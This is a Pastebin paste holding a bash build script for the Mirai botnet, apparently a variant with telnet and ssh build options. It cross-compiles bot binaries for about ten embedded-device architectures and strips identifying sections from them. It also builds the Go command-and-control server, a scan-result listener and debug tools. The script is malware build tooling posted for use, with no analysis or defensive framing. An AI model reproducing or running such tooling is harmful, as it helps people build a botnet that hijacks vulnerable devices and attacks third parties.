Advertisement
Guest User

Untitled

a guest
Dec 7th, 2019
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.94 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. FLAGS=""
  4.  
  5. function compile_bot {
  6. "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
  7. "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
  8. }
  9.  
  10. if [ $# == 2 ]; then
  11. if [ "$2" == "telnet" ]; then
  12. FLAGS="-DMIRAI_TELNET"
  13. elif [ "$2" == "ssh" ]; then
  14. FLAGS="-DMIRAI_SSH"
  15. fi
  16. else
  17. echo "Missing build type."
  18. echo "Usage: $0 <debug | release> <telnet | ssh>"
  19. fi
  20.  
  21. if [ $# == 0 ]; then
  22. echo "Usage: $0 <debug | release> <telnet | ssh>"
  23. elif [ "$1" == "release" ]; then
  24. sudo rm release/mirai.*
  25. sudo rm release/miraint.*
  26. sudo go build -o release/cnc cnc/*.go
  27. compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
  28. compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
  29. compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
  30. compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
  31. compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
  32. compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
  33. compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
  34. compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
  35. compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
  36. compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"
  37.  
  38. compile_bot i586 miraint.x86 "-static"
  39. compile_bot mips miraint.mips "-static"
  40. compile_bot mipsel miraint.mpsl "-static"
  41. compile_bot armv4l miraint.arm "-static"
  42. compile_bot armv5l miraint.arm5n " "
  43. compile_bot armv6l miraint.arm7 "-static"
  44. compile_bot powerpc miraint.ppc "-static"
  45. compile_bot sparc miraint.spc "-static"
  46. compile_bot m68k miraint.m68k "-static"
  47. compile_bot sh4 miraint.sh4 "-static"
  48.  
  49. sudo go build -o release/scanListen tools/scanListen.go
  50. elif [ "$1" == "debug" ]; then
  51. sudo gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
  52. sudo mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
  53. sudo armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
  54. sudo armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
  55. sudo sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
  56. sudo gcc -std=c99 tools/enc.c -g -o debug/enc
  57. sudo gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
  58. sudo gcc -std=c99 tools/badbot.c -g -o debug/badbot
  59. sudo go build -o debug/cnc cnc/*.go
  60. sudo go build -o debug/scanListen tools/scanListen.go
  61. else
  62. echo "Unknown parameter $1: $0 <debug | release>"
  63. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement